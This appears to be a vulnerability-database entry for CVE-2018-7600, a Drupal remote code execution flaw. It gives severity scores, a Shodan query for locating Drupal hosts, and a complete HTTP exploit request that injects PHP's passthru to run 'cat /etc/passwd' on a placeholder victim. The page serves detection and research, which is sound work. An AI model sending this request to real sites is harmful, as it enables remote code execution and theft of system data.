🔙 목록으로 돌아가기

CVE-2018-7600: Drupal - Remote Code Execution

TitleDrupal - Remote Code Execution
Authorpikpikcu
SeverityCritical
ImpactCritical
RemediationUpgrade to the latest version of Drupal or apply the official patch provided by Drupal security team.
CVSS Score9.8
EPSS Score0.94489
CVE IDCVE-2018-7600
CWE IDCWE-20
Shodan Queryhttp.component:"drupal"cpe:"cpe:2.3:a:drupal:drupal"
Tags cve cve2018 drupal rce kev vulhub intrusive vkev vuln

🔍 Vulnerability Description

Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.

🌐 HTTP Request

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Connection: close
Content-Length: 631
Accept: application/json
Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663
Referer: www.victim.com/user/register
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip

-----------------------------99533888113153068481322586663

Content-Disposition: form-data; name="mail[#post_render][]"



passthru

-----------------------------99533888113153068481322586663

Content-Disposition: form-data; name="mail[#type]"



markup

-----------------------------99533888113153068481322586663

Content-Disposition: form-data; name="mail[#markup]"



cat /etc/passwd

-----------------------------99533888113153068481322586663

Content-Disposition: form-data; name="form_id"



user_register_form

-----------------------------99533888113153068481322586663

Content-Disposition: form-data; name="_drupal_ajax"

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-7600.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-7600.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A